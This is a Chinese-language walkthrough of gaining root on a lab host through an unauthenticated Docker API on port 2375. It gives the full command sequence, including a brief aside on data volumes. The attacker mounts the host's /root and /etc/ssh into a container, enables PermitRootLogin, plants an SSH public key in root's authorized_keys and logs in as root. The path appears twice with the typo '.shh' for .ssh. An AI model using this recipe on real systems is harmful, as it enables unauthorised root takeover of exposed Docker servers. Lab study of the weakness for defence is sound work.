Docker2375端口未授权getshell
靶机:192.168.196.133
利用条件:docker2375未授权、有可启动的主机镜像
1、判断是否可以利用漏洞
扫描端口发现开放端口22和2375
docker -H tcp://192.168.196.133:2375 ps
可以成功执行docker命令
[root@localhost ~]# docker -H 192.168.196.133:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest ba6acccedd29 4 days ago 72.8MB
我们把这个ubuntu镜像启动起来,基本上镜像都可以能进去写文件就行,把几个关键目录做数据卷 ,
补充下数据卷
数据卷
是什么
一句话:有点类似我们Redis里面的rdb和aof文件
能干嘛
容器的持久化
容器间继承+共享数据
特点:
1:数据卷可在容器之间共享或重用数据
2:卷中的更改可以直接生效
3:数据卷中的更改不会包含在镜像的更新中
4:数据卷的生命周期一直持续到没有容器使用它为止
使用
直接命令添加
命令: docker run -it -v /宿主机绝对路径目录:/容器内目录 镜像名
也可以用其他写法添加这里就不多赘述
2、利用
docker -H 192.168.196.133:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu
把我们root目录映射到容器里面的/tmp/root 这个目录是关键,docker运行的权限一般比较高所以都会有这个权限
打完这个命令我就进入到ubuntu这个容器里面了ps看一下
[root@localhost ~]# docker -H 192.168.196.133:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e5492f68345d ubuntu "bash" About a minute ago Up About a minute sad_payne
注意这里是我攻击的机器新开了个shell看的不是在刚刚的打的容器里面
在容器里面查看一下靶机的root是否是可以登录的
我们正常查看的是/etc/ssh/sshd_config
这个文件,我们刚刚把他的目录映射到了我们的/tmp/ssh_etc
下面那么我们查看的就是/tmp/ssh_etc/sshd_config
,查看下PermitRootLogin字段。如果是no
就改成yes
,允许root通过ssh登录
然后在你攻击机器新开的shell里面生成一个pubkey
[root@localhost ~]# ssh-keygen -t rsa -C "l1nr"
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:uhJRNmFJwZ7xYC3Qoh8HczUHkO9c4/Km/leGr14Z24Q l1nr
The key's randomart image is:
+---[RSA 2048]----+
| .=*O+.. |
| +.# .o |
| . X O |
| . o + o o . |
| . + oSo . .E .|
| o .+ . . o* |
| .. o ++ .|
| . . o ... |
| ...o+.oo. |
+----[SHA256]-----+
这样我们就可以在当前目录下查看到生成了两个文件
一个id_rsa
一个id_rsa.pub
然后回到容器里面把我们id_rsa.pub
的内容写入到/tmp/root/.shh/authorized_keys
这个文件里面(这个文件就等于被攻击机器上的/root/.shh/authorized_keys
),如果没有这个目录那就直接新建就好id_rsa.pub
里面的内容cat就可以读出来
完成这一步之后就可以在我们攻击机器上利用我们的id_rsa
这个文件就可以直接连上我们的靶机
ssh -i id_rsa root@192.168.196.133
连接的时候记得手动输入yes不然直接回车连不上